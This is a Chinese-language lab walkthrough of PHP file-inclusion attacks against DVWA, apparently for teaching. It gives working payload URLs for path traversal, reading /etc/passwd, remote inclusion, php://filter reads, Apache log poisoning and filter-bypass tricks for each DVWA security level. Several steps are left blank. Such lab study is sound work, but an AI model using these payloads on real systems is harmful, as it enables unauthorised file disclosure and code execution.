存在文件包含漏洞的话,可以访问其他网站的木马
1,本地包含漏洞:
访问文件
http://192.168.248.111/dvwa/vulnerabilities/fi/?page=../../../phpinfo.php
http://192.168.248.111/dvwa/vulnerabilities/fi/?page=..\..\..\phpinfo.php
2,远程包含漏洞:
需设置:allow_url_include=on,magic_quotes_gpc=off.
http://192.168.248.111/dvwa/vulnerabilities/fi/?page=http://192.168.248.111/phpinfo.php
3,php包含读文件:
# 读敏感文件
http://192.168.248.111/dvwa/vulnerabilities/fi/?page=c:\muma2.php
# linux中
http://192.168.248.111/dvwa/vulnerabilities/fi/?page=/etc/passwd
4,使用封装协议读/写文件:
(1),读文件:
//文件在C:\php\pear\ 下
http://192.168.248.111/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
(4),写入木马文件:
5,包含日志文件:
当某个PHP文件存在本地包含漏洞,而却无法上传正常文件。这就意味着这有包含漏洞却无法利用
,这时就有可能会利用apache日志文件来入侵
apache服务器运行后会生成两个日志文件:access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件(access.log)中,通过文件包含漏洞访问访问日志文件
1,通过访问网站写入木马到访问日志:
http://192.168.248.111/dvwa/<?php phpinfo(); ?>
然后通过burpsuit抓包请求被编码了,修改请求头:
修改为:
访问:
http://192.168.248.111/dvwa/vulnerabilities/fi/?page=../../../../apache\logs\access.log
6,截断包含:
有限制本地文件包含漏洞是指代码中为包含文件制定了特定的前缀或者.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。常见的有限制本地文件包含过滤绕过的方式主要:有%00截断文件包含、路径长度截断文件包含、点号截断文件包含这三种
http://192.168.248.111/dvwa/vulnerabilities/fi/?page=file1.php
(1),%00截断文件包含:
%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。攻击者可以利用这个漏洞绕过扩展名过滤
(2),路径长度截断文件包含
操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断
(3),点号截断文件包含:
点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断。
把dvwa等级调到中级:
dvwa中级:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file ); // 过滤http://,https://
$file = str_replace( array( "../", "..\" ), "", $file ); //过滤 ../ ..\
?>
本地绕过方法:
http://192.168.248.111/dvwa/vulnerabilities/fi/?page=...\.\...\.\...\.\phpinfo.php
http://192.168.248.111/dvwa/vulnerabilities/fi/?page=....\\....\\....\\phpinfo.php
...........
远程绕过:
//在http://中添加http://
http://192.168.248.111/dvwa/vulnerabilities/fi/?page=httphttp://://192.168.248.111/phpinfo.php
dvwa调到high:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
// fnmatch()函数: 根据指定的模式来匹配文件名或字符串,也就是说我们在输入时必须按照fnmatch()函数指定的形式输入文件名
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
本地通过方法:
http://192.168.248.111/dvwa/vulnerabilities/fi/?page=file://c:\muma2.php
远程通过方法:
等级imposs
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// 只允许访问4个文件
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
更详细说明: